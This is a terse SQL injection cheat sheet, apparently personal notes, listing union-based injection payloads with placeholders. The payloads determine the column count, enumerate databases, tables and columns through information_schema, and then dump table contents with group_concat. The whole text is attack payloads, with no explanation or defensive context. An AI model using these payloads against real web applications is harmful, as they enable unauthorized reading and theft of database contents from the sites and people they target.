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| id=? order by n union select null,null,~,n
#find_schema: union select 1,2,~,group_concat(schema_name),~,n from information_schema.schemata #find_tables: union select 1,2,~,group_concat(table_name),~,n from information_schema.tables where table_schema="~~" #find_columns: union select 1,2,~,group_concat(column_name),~,n from information_schema.columns where table_schema="~~" and table_name="~~"
#get data union select 1,2,~,group_concat(column),~,n from schema.table
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